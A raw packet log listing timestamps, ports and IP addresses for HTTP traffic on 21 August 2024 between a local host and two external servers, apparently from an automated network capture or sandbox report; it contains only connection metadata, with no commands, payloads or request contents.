Aug 21, 2024 08:32:15.281646013 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.281651974 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.281658888 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.281668901 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.281701088 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.281733036 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.286850929 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.286858082 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.286874056 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.286879063 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.286911011 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.286943913 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.287045002 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.287050962 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.287056923 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.287061930 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.287112951 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.289324999 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.289382935 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.289431095 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.289455891 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.289467096 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.289479971 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.289489985 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.289504051 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.289556980 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.289575100 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.289581060 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.289587021 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.289592981 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.289624929 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.289654970 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.289721966 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.289727926 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.289740086 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.289746046 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.289751053 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.289773941 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.289805889 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.295888901 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.295923948 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.295928955 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.295934916 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.295967102 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.295984030 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.296003103 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.296003103 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.296061993 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.296067953 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.296076059 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.296082020 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.296087980 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.296123028 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.296155930 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.296169043 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.296175003 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.296185970 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.296191931 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.296236992 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.296278000 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.296288967 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.296295881 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.296303988 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.296325922 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.296329975 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.296331882 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.296339989 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.296344042 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.296355009 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.296403885 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.298561096 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.298567057 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.298587084 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.298609972 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.298648119 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.298650980 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.298657894 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.298686028 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.298691988 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.298708916 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.298742056 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.298757076 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.298763990 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.298772097 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.298785925 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.298794031 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.298821926 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.298825026 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.298832893 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.298854113 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.298885107 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.299495935 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.299503088 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.299510002 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.299515963 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.299552917 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.299596071 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.299598932 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.299648046 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.299688101 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.299694061 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.299716949 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.299737930 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.299770117 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.314471960 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.314480066 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.314486027 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.314491987 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.314496994 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.314511061 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.314534903 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.314543009 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.314543962 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.314553022 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.314560890 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.314567089 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.314573050 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.314575911 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.314579964 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.314593077 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.314599037 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.314599991 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.314606905 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.314620018 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.314636946 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.314661026 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.314855099 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.314867020 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.314872980 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.314877987 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.314884901 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.314892054 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.314905882 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.314908981 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.314913034 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.314924955 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.314930916 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.314935923 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.314937115 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.314944029 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.314949036 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.314954996 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.314961910 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.314975023 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.314981937 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.314982891 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.314989090 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.314994097 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.315001011 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.315015078 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.315032005 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.315057039 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.315366983 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.315372944 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.315385103 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.315424919 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.315448999 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.315455914 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.315462112 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.315490007 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.315506935 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.315623045 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.315629005 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.315639973 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.315645933 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.315651894 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.315663099 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.315669060 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.315675020 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.315675020 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.315717936 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.315897942 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.315903902 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.315910101 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.315915108 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.315920115 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.315926075 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.315932035 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.315957069 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.315958023 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.315965891 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.315970898 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.315975904 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.315977097 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.315982103 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.315989971 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.315994978 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.315996885 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.316000938 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.316008091 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.316051006 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.316051006 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.316066027 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.316349983 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.316359997 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.316365957 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.316402912 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.316428900 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.316436052 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.316447973 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.316478014 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.316562891 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.316575050 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.316576958 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.316581964 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.316628933 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.316648006 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.318188906 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.318203926 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.318213940 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.318262100 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.318363905 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.318370104 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.318381071 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.318416119 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.318417072 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.318423986 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.318439007 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.318445921 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.318470955 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.318486929 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.318636894 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.318650007 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.318675041 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.318681955 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.318694115 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.318695068 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.318717957 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.318737030 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.318916082 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.318922997 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.318928957 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.318934917 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.318938971 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.318994999 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.319056034 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.319128036 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.319129944 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.319134951 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.319143057 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.319166899 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.319188118 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.319351912 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.319358110 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.319382906 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.319389105 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.319403887 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.319432020 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.319708109 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.319715023 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.319721937 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.319766998 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.319891930 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.319899082 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.319910049 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.319915056 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.319950104 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.320533037 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.320538998 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.320545912 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.320570946 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.320576906 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.320589066 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.320595026 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.320595026 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.320625067 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.320637941 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.320724010 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.320772886 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.320784092 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.320790052 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.320835114 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.320862055 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.320868015 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.320879936 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.320885897 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.320914984 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.320935011 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.320966959 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.321069002 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.321105003 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.321110964 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.321121931 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.321161985 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.321224928 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.321230888 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.321240902 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.321248055 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.321274996 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.321293116 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.321295977 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.321302891 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.321342945 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.321506977 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.321512938 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.321525097 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.321531057 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.321537971 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.321543932 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.321549892 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.321558952 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.321576118 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.321598053 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.321715117 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.321721077 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.321727037 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.321738005 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.321746111 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.321757078 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.321763039 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.321780920 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.321809053 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.321901083 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.321907043 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.321913004 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.321918011 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.321923971 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.321930885 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.321953058 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.321980000 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.322050095 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.322057009 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.322067976 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.322073936 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.322081089 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.322092056 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.322098017 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.322098017 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.322104931 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.322118044 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.322134018 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.322150946 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.322338104 CEST	80	49722	162.241.203.25	192.168.2.6
